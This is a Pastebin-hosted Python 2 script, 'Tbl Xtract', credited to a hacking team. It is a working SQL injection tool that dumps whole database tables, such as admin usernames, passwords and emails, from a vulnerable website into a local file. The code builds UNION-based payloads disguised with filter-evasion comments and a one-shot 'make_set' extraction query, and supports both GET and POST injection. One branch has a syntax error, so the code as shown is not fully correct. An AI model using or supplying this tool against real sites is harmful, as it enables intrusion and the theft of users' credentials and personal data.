Advertisement
VIRkid

Tbl Xtract [Python] [VIRkid]

Sep 27th, 2014
592
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.37 KB | None | 0 0
  1. #Table Extractor Script
  2. #Idea : Ch3rn0by1
  3. #C0de : VIRkid fb.com/virkid36
  4. # Greets to team Madleets
  5. #Beta version
  6. #Update 09.oct.2014
  7. ###################################
  8.  
  9. import urllib2,re,sys,urllib,argparse
  10. parser=argparse.ArgumentParser(description="Data Dumping utility ./VIRkid")
  11. parser.add_argument("Target",help="VULNERABLE url",type=str)
  12. parser.add_argument('-c','--columns',help="Total Number of Columns",type=int)
  13. parser.add_argument('-v','--vuln',help="Vulnerable Column",type=int)
  14. parser.add_argument('-t','--table',help="Table name to extract e.g tbl_admin",type=str)
  15. parser.add_argument('-n','--column_name',help="comma separated list of columns to extract e.g username,password,email",type=str)
  16. parser.add_argument('-A','--Apostrophe',help="set to y to add Apostrophe at the start of query ",type=str)
  17. parser.add_argument('-p','--POST',help="POST SQLi",type=str,default='GET')
  18. parser.add_argument('-L','--limit',help="Limit Multiples of 5 (5X)",type=int)
  19. args=parser.parse_args()
  20.  
  21. #Banner
  22. def banner():
  23.    
  24.     print "\t\t*********************************************"
  25.     print "\t\t*                                           *"
  26.     print "\t\t*              Tbl Xtrcat                   *"                                      
  27.     print "\t\t*              .:VIRkid:.                   *"
  28.     print "\t\t*       Usage: python script.py -help       *"
  29.     print "\t\t*     ali ahmady , pHaNtOm_X ,Ch3rn0by1     *"
  30.     print "\t\t*********************************************"
  31. #Column Generator
  32.  
  33.  
  34.  
  35. def colc(num):
  36.     comment="%23"
  37.     num+=1
  38.     cols=','.join([str(i) for i in xrange(1,num)])
  39.     return cols+comment
  40.  
  41. #Query Generator
  42.  
  43. def qry(cols_t,vulnerable_column,table_name,limits,columns,apos=0):
  44.    
  45.     if apos=='y':
  46.        
  47.         un="' and 0 /*!12345union*/ /*!12345select*/ "
  48.     else:
  49.         un=" and 0 /*!12345union*/ /*!12345select*/ "
  50.        
  51.     t_columns=colc(cols_t)
  52.     t_columns=' '+t_columns
  53.     vcol=vulnerable_column
  54.    
  55.     dios="make_set(6,@:=0x0a,(/*!12345select*/(1)/*!12345frOm*/(/*!12345select*/ * /*!12345frOm*/ %s limit %d,%d)shit /*!12345where*/@:=make_set(511,@,0x3c6c693e,%s)),@)"%(table_name,limits,5000,columns)
  56.     if cols_t==1 and vcol==1:
  57.         retq=t_columns.replace(' 1%23',dios+'%23')
  58.        
  59.        
  60.    
  61.     elif vcol==1:
  62.         retq=t_columns.replace('%d,'%vcol,dios+',')
  63.        
  64.        
  65.     elif vcol==cols_t:
  66.         retq=t_columns.replace(',%d%%23'%vcol,','+dios+'%23')
  67.        
  68.  
  69.        
  70.     else:
  71.         retq=t_columns.replace(',%d,'%vcol,','+dios+',')
  72.    
  73.     furl=un+retq
  74.     furl=furl.replace(' ','+').replace("'",'%27')
  75.     return furl
  76.  
  77.  
  78. #Record Extractor
  79.  
  80. def extractor(u,data):
  81.     recs=[]
  82.     req=urllib2.Request(u,data)
  83.     req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0')
  84.     f=urllib2.urlopen(req).read()
  85.     r=re.findall('<li>,.+..?',f)
  86.    
  87.     if not r :
  88.         print "\n[+] Table exhausted"
  89.         sys.exit(0)
  90.    
  91.     x=r[0].replace('<li>','').strip().replace('</div>','').split(',,',999999)
  92.    
  93.     print "\n[+] Dumped : %d Records"%len(x)
  94.     for each in x:
  95.         each=each.replace(',','::')
  96.        
  97.            
  98.         recs.append(each+'\n')
  99.     return recs
  100.  
  101. try:
  102.     t_site=args.Target
  103.    
  104. #limit count
  105.     c=0
  106.     banner()
  107.     print "\n[*] Target : %s"%t_site
  108. #Dump File
  109.     dfname='dump-%s-%s-%s.txt'%(args.Target.replace("http://","").split("/",100)[0],args.table,args.column_name)
  110.     print "\n[*] Dump File : ",dfname
  111.     dump_file=open(dfname,'w')
  112.    
  113. #GET injection
  114.     if args.POST=='GET':
  115.         while True:
  116.            
  117.            
  118.             data_dump=qry(args.columns,args.vuln,args.table,c,args.column_name,args.Apostrophe)
  119.             u=t_site+data_dump
  120.  
  121.             c+=5000
  122.        
  123.             dump_file.writelines(extractor(u,None))
  124.             if args.limit:
  125.                 if c>=args.limit:
  126.                     print "\n[+] Limit Reached"
  127.                     break
  128.         dump_file.close()
  129.    
  130.  
  131. #POST Injection
  132.     elif args.POST!='GET'
  133.        
  134.  
  135.         while True:
  136.  
  137.        
  138.    
  139.             data_dump=qry(args.columns,args.vuln,args.table,c,args.column_name,args.Apostrophe)
  140.             u=t_site+data_dump
  141.             Pdata=args.POST
  142.             Pdata=Pdata.replace("Ij3ct",data_dump)
  143.  
  144.    
  145.        
  146.             dump_file.writelines(extractor(u,Pdata))
  147.             c+=5000
  148.             if args.limit:
  149.                 if c>=args.limit:
  150.                     print "\n[+] Limit Reached"
  151.                     break
  152.  
  153.     dump_file.close()
  154.  
  155.  
  156. except TypeError:
  157.     print "\n[-] Invalid Values OR no values provided for REQUIRED arguments"
  158.  
  159. except urllib2.HTTPError, e:
  160.     print "\n[-] %s | Resource %s"%(e.code,e.msg)
  161.  
  162. except urllib2.URLError:
  163.     print "\n[-] Unable to Connect to Target"
  164.  
  165.  
  166. except IOError:
  167.     print "[-] Unable to Create dump file"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement